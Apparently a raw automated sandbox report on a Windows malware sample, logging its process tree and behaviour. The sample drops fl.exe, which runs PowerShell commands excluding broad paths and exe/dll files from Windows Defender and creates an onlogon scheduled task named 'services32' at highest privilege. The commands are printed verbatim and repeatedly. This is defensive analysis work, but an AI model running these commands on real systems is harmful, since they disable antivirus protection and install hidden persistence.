Code function: 0_2_00D6E100 GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary,

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D7B0FC rdtsc

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\services32.exe	Process token adjusted: Debug
Source: C:\Windows\System32\services32.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"

Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Process created: C:\Users\user\AppData\Local\Temp\fl.exe "C:\Users\user\AppData\Local\Temp\fl.exe"
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process created: C:\Windows\System32\cmd.exe cmd" cmd /c "C:\Windows\system32\services32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\services32.exe C:\Windows\system32\services32.exe
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
Source: C:\Windows\System32\services32.exe	Process created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe "C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"

Source: sihost32.exe, 0000001D.00000002.913102487.0000000001E10000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: sihost32.exe, 0000001D.00000002.913102487.0000000001E10000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: sihost32.exe, 0000001D.00000002.913102487.0000000001E10000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: sihost32.exe, 0000001D.00000002.913102487.0000000001E10000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpy,GetLocaleInfoA,lstrlen,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: GetLocaleInfoA,

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\fl.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\services32.exe	Queries volume information: C:\Windows\System32\services32.exe VolumeInformation
Source: C:\Windows\System32\services32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\services32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\services32.exe	Queries volume information: C:\Windows\System32\services32.exe VolumeInformation
Source: C:\Windows\System32\services32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\services32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
